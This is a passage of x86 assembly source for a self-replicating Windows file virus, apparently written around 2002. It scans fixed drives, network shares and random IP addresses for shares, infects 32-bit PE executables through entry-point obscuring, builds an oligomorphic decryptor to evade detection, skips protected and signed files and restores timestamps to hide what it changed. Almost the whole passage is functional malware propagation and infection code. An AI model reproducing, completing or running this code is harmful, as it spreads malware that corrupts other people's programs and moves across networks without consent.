lea eax, dword ptr [edi + offset regdll - offset netapi_esp]
push eax
call cLoadLibraryA
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
svccrcbegin label near ;place < 80h bytes from call for smaller code
dd (svccrc_count + 1) dup (0)
svccrcend label near
dd offset start_disp - offset svccrcend + 4
start_disp label near
pop eax
mov ecx, esp
add edi, offset svc_main - offset start_disp
push edi
push ecx
push esp
call eax ;does not return if service launch
add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch
svc_main label near
push eax
push esp
xor esi, esi
push esi
push esi
call create_thr1
;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------
find_drives proc near
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
drive_loop label near
push eax
push esp
push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
sub al, DRIVE_FIXED
je drive_set
xchg ecx, eax
loop drive_next ;loop if not DRIVE_REMOTE
drive_set label near
push esp
call cSetCurrentDirectoryA
call find_files
drive_next label near
pop eax
inc eax
cmp al, 'Z' + 1
jne drive_loop
push 10 * 60 * 1000 ;10 minutes
call cSleep
jmp find_drives
find_drives endp
create_thr1 label near
push esi
push esi
call cCreateThread
push esp
push esi
push esi
call create_thr2
;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------
call get_krnapis
find_wnet proc near
xor ebx, ebx ;previous handle
xor esi, esi ;previous node
xor edi, edi ;previous buffer
wnet_open label near
push eax
push esp
push edi
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
push eax
push edi
call cGlobalFree
pop ecx
pop edi
inc ecx
loop wnet_next
push size wnetlist
push ecx ;GMEM_FIXED
call cGlobalAlloc
mov dword ptr [eax + wnetlist.wnetprev], esi
mov dword ptr [eax + wnetlist.wnethand], ebx
xchg esi, eax
mov ebx, edi
wnet_next label near
push 1
mov eax, esp
push eax
push esp
push eax
push ebx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop edi
sub al, ERROR_MORE_DATA
jne wnet_close
push edi
push eax ;GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz wnet_close
push edi
mov eax, esp
push 1
mov edx, esp
push eax
push ecx
push edx
push ebx
mov edi, ecx
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
pop ecx
pop ecx
test eax, eax
jne wnet_free
test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
jne wnet_open
push dword ptr [edi + NETRESOURCE.lpRemoteName]
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz wnet_skipdir
;I'm alone here
;with emptiness eagles and snow.
;Unfriendliness chilling my body
;and taunting with pictures of home.
;(Deep Purple)
call find_files
wnet_skipdir label near
xor eax, eax
wnet_free label near
push eax
push edi
call cGlobalFree
pop ecx
jecxz wnet_next
wnet_close label near
push ebx
store_netapi label near
mov eax, '!bgr'
call eax ;WNetCloseEnum
mov ecx, dword ptr [esi + wnetlist.wnetprev]
jecxz wnet_exit
mov ebx, dword ptr [esi + wnetlist.wnethand]
push esi
mov esi, ecx
call cGlobalFree
jmp wnet_next
wnet_exit label near
push 20 * 60 * 1000 ;20 minutes
call cSleep
jmp find_wnet
find_wnet endp
create_thr2 label near
push esi
push esi
call cCreateThread
;-----------------------------------------------------------------------------
;thread 3: find files on random IP address shares using non-recursive algorithm
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
;-----------------------------------------------------------------------------
call cGetVersion
test eax, eax
mov eax, 'aten'
mov ecx, '23ip' ;"netapi32" (NT/2000/XP)
jns ip_loaddll
mov eax, 'arvs'
movzx ecx, cx ;"svrapi" (9x/Me)
ip_loaddll label near
pushfd
push esi
push ecx
push eax
push esp
call cLoadLibraryA
add esp, 0ch
popfd
jns ip_getprocnt
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ip9xcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ip9xcrc_count + 1) dup (0)
ip9xcrcend label near
dd offset ip_share - offset ip9xcrcend + 4
ip_getprocnt label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ipntcrcbegin label near ;place < 80h bytes from call for smaller code
dd (ipntcrc_count + 1) dup (0)
ipntcrcend label near
dd offset ip_share - offset ipntcrcend + 4
ip_share label near
call random
xchg ebp, eax ;initial IP address
find_ip proc near
call random
and al, 18h
je find_ip ;select class A-C only
xchg ecx, eax
xor eax, eax
mov al, 0ffh
shl eax, cl ;select random class
and ecx, eax ;isolate new class
not eax
and ebx, eax ;remove old class
or ebx, ecx ;insert new class
ip_save label near
push ebx
bswap ebx
enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename
call cGetVersion
shr eax, 1fh ;0 if Unicode, 1 if ANSI
xchg esi, eax
xor al, al
mov cl, 0ah
std
stos byte ptr [edi]
mov edx, edi
stos byte ptr [edi] ;store Unicode sentinel
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
;-----------------------------------------------------------------------------
;convert IP address to string (ANSI or Unicode)
;-----------------------------------------------------------------------------
ip_shift label near
xor eax, eax
shld eax, ebx, 8
ip_hex2dec label near
div cl
xchg ah, al
add al, '0'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shr eax, 8
jne ip_hex2dec
mov al, '.'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shl ebx, 8
jne ip_shift
cld
push edi
mov al, '\'
stos byte ptr [edi]
inc edi ;include Unicode half-character
sub edi, esi ;remove character if ANSI
stos byte ptr [edi] ;store '\\' in ANSI or Unicode
pop edi
test esi, esi
je ip_sharent
;-----------------------------------------------------------------------------
;enumerate shares on IP address (9x/Me platform)
;-----------------------------------------------------------------------------
push ebx
mov eax, esp
push ebx
push esp
push eax
push ebx ;too small size returns needed size
push ebx
push 1
push edi
mov ebx, edi
mov edi, edx
call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop esi
sub al, ERROR_MORE_DATA
jne ip_restore
imul esi, ecx, size share_info_19x + 50
;include size of optional remark
push esi
push eax ;GMEM_FIXED
call cGlobalAlloc
cdq
xchg ecx, eax
jecxz ip_restore
push ecx ;GlobalFree
push edx
mov eax, esp
push edx
push esp
push eax
push esi
push ecx
push 1
push ebx
mov esi, ecx
call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop ecx
mov al, '\'
stos byte ptr [edi]
ip_next9x label near
push ecx
push edi
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi] ;attach sharename
pop edi
push ebx
call cSetCurrentDirectoryA
xchg ecx, eax
jecxz ip_skip9x
;I dream of rain, I live my years under an open sky
call find_files
ip_skip9x label near
add esi, size share_info_19x - share_info_19x.shi1_pad1
pop ecx
loop ip_next9x
ip_free9x label near
call cGlobalFree
ip_restore label near
leave
pop ebx
inc bl
jne ip_save
push 20 * 60 * 1000 ;20 minutes
call cSleep
jmp find_ip
ip_sharent label near
;-----------------------------------------------------------------------------
;enumerate shares on IP address (NT/2000/XP platform)
;-----------------------------------------------------------------------------
push eax
mov eax, esp
push eax
mov ecx, esp
push ebx
push esp
push eax
push MAX_PREFERRED_LENGTH
push ecx
push 1
push edi
call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
test eax, eax
pop esi
pop ebx
push esi ;NetApiBufferFree
jne ip_freent
ip_nextnt label near
push esi
lods dword ptr [esi]
push eax
xchg esi, eax
xor eax, eax ;lstrlenW
call store_krnapi
lea eax, dword ptr [eax + eax + 26h]
;include size of Unicode '\\' + Unicode IP address + Unicode '\'
push eax
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz ip_freent
push ecx ;GlobalFree
push ecx ;SetCurrentDirectoryW
push esi ;lstrcatW
push ecx ;lstrcatW
push '\'
push esp ;lstrcatW
push ecx ;lstrcatW
push edi
push ecx
push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi ;copy IP address
call clstrcatW ;attach '\'
pop eax
call clstrcatW ;attach sharename
push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
xchg esi, eax
call cGlobalFree
test esi, esi
je ip_skipnt
;when you look into the abyss, the abyss looks back at you
call find_files
ip_skipnt label near
pop esi
add esi, size share_info_1nt
dec ebx
jne ip_nextnt
ip_freent label near
call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
jmp ip_restore
find_ip endp
;-----------------------------------------------------------------------------
;create oligomorphic decryptor
;-----------------------------------------------------------------------------
storeebx proc near
test bh, 1 shl state_loadebx
jne storeebx_ret ;done already
mov al, 0bbh ;mov ebx
mov edx, esi
test bl, state_esifirst
jne storeebx_test ;esi first
mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi
jmp storeebx_now
storeebx_test label near
test bh, 1 shl state_loadesi
je storeebx_ret ;require esi first
mov al, 8dh ;lea
stos byte ptr [edi]
mov al, 9eh ;ebx
sub edx, dword ptr [esp + 4]
test bl, state_decdown
je storeebx_now
sub edx, vsize
sub edx, ecx
storeebx_now label near
inc bh ;or bh, 1 shl state_loadebx
stos byte ptr [edi]
xchg edx, eax
stos dword ptr [edi]
storeebx_ret label near
ret
storeebx endp
storeesi proc near
test bh, 1 shl state_loadesi
jne storeesi_ret ;done already
mov al, 0beh ;mov esi
mov edx, dword ptr [esp + 4]
test bl, state_esifirst
je storeesi_ebx ;ebx first
mov dword ptr [esp + offset store_baseptr - offset efishnc_inf + 0dh], edi
test bl, state_decdown
je storeesi_now
add edx, vsize
jmp storeesi_rand
storeesi_ebx label near
test bh, 1 shl state_loadebx
je storeesi_ret ;require ebx first
mov al, 8dh ;lea
stos byte ptr [edi]
mov al, 0b3h ;esi
sub edx, esi
test bl, state_decdown
je storeesi_now
add edx, vsize
storeesi_rand label near
add edx, ecx
storeesi_now label near
or bh, 1 shl state_loadesi
stos byte ptr [edi]
xchg edx, eax
stos dword ptr [edi]
storeesi_ret label near
ret
storeesi endp
storeenter proc near
bts ebx, state_entered + 8
jb storeenter_ret ;done already
mov al, 0c8h ;enter
stos byte ptr [edi]
xchg ebp, eax
stos dword ptr [edi]
dec edi ;xxxx, 00
storeenter_ret label near
ret
storeenter endp
storeedi proc near
test bh, 1 shl state_entered
je storeedi_ret ;require enter first
bts ebx, state_loadedi + 8
jb storeedi_ret ;done already
mov edx, 0effdfce7h ;ebp / esp
test bl, state_decdown
je storeedi_swap
bswap edx ;use ebp
storeedi_swap label near
call random
and al, 2
je storeedi_now
mov dl, dh ;use other encoding
storeedi_now label near
add al, 89h ;mov edi
stos byte ptr [edi]
xchg edx, eax
stos byte ptr [edi]
storeedi_ret label near
ret
storeedi endp
storestd proc near
bts ebx, state_std + 8
jb storestd_ret ;done already
test bl, state_decdown
je storestd_ret ;not needed
mov al, 0fdh ;std
stos byte ptr [edi]
storestd_ret label near
ret
storestd endp
storepushb proc near
test bh, 1 shl state_loadedi
je storepushb_ret ;require mov edi first
bts ebx, state_pushreg1 + 8
jb storepushb_ret ;done already
test bl, state_pushret or state_pushb
je storepushb_ret ;jmp esp
jpo storepushb_ret ;push at end
call random
test al, 1
mov al, 54h ;push esp
je storepushb_now
test bh, 1 shl state_loadedi
jnb storepushb_now ;requires mov edi first
mov al, 57h ;push edi
storepushb_now label near
stos byte ptr [edi]
storepushb_ret label near
ret
storepushb endp
storelods proc near
bts ebx, state_lods + 8
jb storelods_ret ;done already
mov al, 0ach ;lods byte ptr [esi]
test bl, state_movesi
je storelods_now
mov al, 8ah ;mov al, byte ptr []
stos byte ptr [edi]
mov al, 6 ;esi
storelods_now label near
stos byte ptr [edi]
storelods_ret label near
ret
storelods endp
storexlat proc near
test bh, 1 shl state_lods
je storexlat_ret ;require lods first
bts ebx, state_xlat + 8
jb storexlat_ret ;done already
mov al, 0d7h ;xlat byte ptr [ebx]
stos byte ptr [edi]
storexlat_ret label near
ret
storexlat endp
storestos proc near
test bh, 1 shl state_xlat
je storestos_ret ;require xlat first
bts ebx, state_stos + 8
jb storestos_ret ;done already
mov al, 0aah ;stos byte ptr [esi]
test bl, state_movedi
je storestos_now
mov al, 88h ;mov byte ptr [], al
stos byte ptr [edi]
mov al, 7 ;edi
storestos_now label near
stos byte ptr [edi]
storestos_ret label near
ret
storestos endp
storeincs proc near
test bh, 1 shl state_lods
je storeincs_ret ;require lods first
bts ebx, state_incesi + 8
jb storeincs_ret ;done already
test bl, state_movesi
je storeincs_ret ;not needed
mov al, 46h ;inc esi
test bl, state_decdown
je storeincs_now
mov al, 4eh ;dec esi
storeincs_now label near
stos byte ptr [edi]
storeincs_ret label near
ret
storeincs endp
storeincd proc near
test bh, 1 shl state_stos
je storeincd_ret ;require stos first
bts ebx, state_incedi + 8
jb storeincd_ret ;done already
test bl, state_movedi
je storeincd_ret ;not needed
mov al, 47h ;inc edi
test bl, state_decdown
je storeincd_now
mov al, 4fh ;dec edi
storeincd_now label near
stos byte ptr [edi]
storeincd_ret label near
ret
storeincd endp
storecmp proc near
test bh, 1 shl state_incedi
je storecmp_ret ;require inc edi first
bts ebx, state_cmp + 8
jb storecmp_ret ;done already
mov edx, 0fce7fdefh ;esp / ebp
test bl, state_decdown
je storecmp_jg
bswap edx ;use esp
storecmp_jg label near
test bl, state_jg
je storecmp_swap
xchg dl, dh
storecmp_swap label near
call random
and al, 2
je storecmp_now
mov dl, dh ;use other encoding
storecmp_now label near
add al, 39h ;cmp edi
stos byte ptr [edi]
xchg edx, eax
stos byte ptr [edi]
storecmp_ret label near
ret
storecmp endp
storejne proc near
test bh, 1 shl state_cmp
je storejne_ret ;require cmp first
bts ebx, state_branch + 8
jb storejne_ret ;done already
mov edx, 7e767c72h ;jle, jbe, jl, jb
test bl, state_jg
je storejne_swap
mov edx, 7d737f77h ;jge, jae, jg, ja
storejne_swap label near
test bl, state_decdown
je storejne_now
shld eax, edx, 10h
xchg dx, ax ;reverse must use j?e
storejne_now label near
call random
and al, 18h
xchg ecx, eax
rol edx, cl ;random branch type
xchg edx, eax
stos byte ptr [edi]
sub ebp, edi
dec ebp
xchg ebp, eax
stos byte ptr [edi]
storejne_ret label near
ret
storejne endp
storepushe proc near
test bh, 1 shl state_branch
je storepushe_ret ;require branch first
bts ebx, state_pushreg2 + 8
jb storepushe_ret ;done already
test bl, state_pushret or state_pushb
jpe storepushe_ret ;jmp esp or push at begin
mov al, 54h ;push esp
stos byte ptr [edi]
storepushe_ret label near
ret
storepushe endp
storeret proc near
test bh, bh ;test bh, 1 shl state_pushreg2
jns storeret_ret ;require push at end first
mov al, 0c3h ;ret
test bl, state_pushret
jne storeret_now
mov al, 0ffh ;jmp
stos byte ptr [edi]
mov al, 0e4h ;esp
storeret_now label near
or bl, 1 shl state_ret
stos byte ptr [edi]
storeret_ret label near
ret
storeret endp
;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------
randinit proc near ;eax = seed, ecx = 0, edi -> unaligned RNG cache
pushad
or edi, 3
inc edi ;dword align
push edi
or eax, 1
mov cx, statelen
init_loop label near
stos dword ptr [edi]
mov edx, 69069
mul edx ;Knuth: x_new = x_old * 69069
loop init_loop
inc ecx ;force reload
call initdelta
initdelta label near
pop edi
add edi, offset randvars - offset initdelta
xchg ecx, eax
stos dword ptr [edi]
pop eax
stos dword ptr [edi]
stos dword ptr [edi]
popad
ret
randinit endp
random proc near
pushad
call randelta
randvars label near
db 'rgb!' ;numbers left
db 'rgb!' ;next pointer
db 'rgb!' ;state pointer
randelta label near
pop esi
push esi
lods dword ptr [esi]
xchg ecx, eax
lods dword ptr [esi]
xchg esi, eax
loop random_ret
mov cx, statelen - period
mov esi, dword ptr [eax]
lea ebx, dword ptr [esi + (period * 4)]
mov edi, esi
push esi
lods dword ptr [esi]
xchg edx, eax
call twist
pop ebx
mov cx, period - 1
push ecx
push ebx
call twist
pop esi
push esi
inc ecx
call twist
xchg edx, eax
pop esi
pop ecx
inc ecx
random_ret label near
lods dword ptr [esi]
mov edx, eax
shr eax, tshiftU
xor eax, edx
mov edx, eax
shl eax, tshiftS
and eax, tmaskB
xor eax, edx
mov edx, eax
shl eax, tshiftT
and eax, tmaskC
xor eax, edx
mov edx, eax
shr eax, tshiftL
xor eax, edx
pop edi
mov dword ptr [esp + 1ch], eax ;eax in pushad
xchg ecx, eax
stos dword ptr [edi]
xchg esi, eax
stos dword ptr [edi]
popad
ret
random endp
twist proc near
lods dword ptr [esi]
push eax
add eax, eax ;remove highest bit
add edx, edx ;test highest bit
rcr eax, 2 ;merge bits and test lowest bit
jnb twist_skip ;remove branch but larger using:
xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx
twist_skip label near
xor eax, dword ptr [ebx]
add ebx, 4
stos dword ptr [edi]
pop edx
loop twist
ret
twist endp
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
find_files proc near
pushad
push size findlist
push GMEM_ZEROINIT
call cGlobalAlloc
test eax, eax
je file_exit
xchg esi, eax
call get_krnapis
file_first label near
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je file_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je file_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz file_next
push size findlist
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp file_first
file_exit label near
popad
ret
file_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------
push edi
mov al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
call store_krnapi
file_prev label near
push esi
mov esi, dword ptr [esi + findlist.findprev]
call cGlobalFree
test esi, esi
je file_exit
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
push esp
call cSetCurrentDirectoryA
pop eax
jmp file_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call cGetVersion
test eax, eax
jns store_sfcapi
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
push (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
store_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, '!bgr' ;SfcIsFileProtected
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx ;attribute ignored for existing files
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
close_file label near ;label required for delta offset
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push ebx
push (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push ebx
call cCloseHandle
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp file_next
find_files endp
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "02/02/02"
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------
test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
add esi, pehdr.pesubsys - pehdr.pecoff.petimedate
lods dword ptr [esi]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], 0
jne inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
add eax, edx
lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
call find_epo
sbb dword ptr [esp + mapsehstk.mapsehinfret], -1
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
push (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
and eax, RANDPADMAX - 1
add ax, small (grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
xor ecx, ecx
push eax
push eax ;MapViewOfFile
push ecx ;MapViewOfFile
push ecx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push ecx
push eax
push ecx
push PAGE_READWRITE
push ecx
push ebx
push (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2
pop eax ;ANSI map is allowed because of no name
call store_krnapi
push eax
xchg edi, eax
push (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
mov esp, dword ptr [esp + sehstruc.sehprevseh]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
push (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
call cCloseHandle
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;search first section for stack frame bytes that are large enough to hold code
;-----------------------------------------------------------------------------
find_epo proc near ;edi = map view
mov edx, edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum + pesect.sectrawsize]
lods dword ptr [esi]
sub eax, decsize
jbe epo_fail
xchg ecx, eax
lods dword ptr [esi]
add edi, eax
find_enter label near
mov al, 55h ;push ebp
repne scas byte ptr [edi]
jne epo_fail
mov eax, dword ptr [edi]
cmp ax, 0e589h ;mov ebp, esp
je find_leave
cmp ax, 0ec8bh ;mov ebp, esp
jne find_enter
find_leave label near
push ecx
push edi
mov al, 5dh ;pop ebp
repne scas byte ptr [edi]
xchg edi, eax
pop edi
pop ecx
jne find_enter
sub eax, edi
cmp eax, decsize - 1
jb find_enter
mov eax, dword ptr [edi + eax - 3]
cmp ax, 0ec89h ;mov esp, ebp
je found_leave
cmp ax, 0e58bh ;mov esp, ebp
jne find_enter
found_leave label near
dec edi
push edi
sub edi, edx
sub edi, dword ptr [esi + pesect.sectrawaddr - pesect.sectreladdr]
add edi, dword ptr [esi + pesect.sectvirtaddr - pesect.sectreladdr]
add edi, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
pop esi
mov al, 'r' ;mask STC
org $ - 1
epo_fail label near
stc
epo_ret label near
xchg edi, eax
ret ;eax = virtual address, esi = map offset
find_epo endp
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_krnapis proc near ;place near to jump table for smaller code
call cGetVersion
krnapi_delta label near
shr eax, 1fh
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
lea ebp, dword ptr [eax * 4 + ecx]
ret
get_krnapis endp
;-----------------------------------------------------------------------------
;indexed API jump table
;-----------------------------------------------------------------------------
clstrcatW proc near
push (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
clstrcatW endp
cSleep proc near
push (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSleep endp
cSetCurrentDirectoryA proc near
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSetCurrentDirectoryA endp
cLoadLibraryA proc near
push (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cLoadLibraryA endp
cGlobalFree proc near
push (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalFree endp
cGlobalAlloc proc near
push (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalAlloc endp
cGetVersion proc near
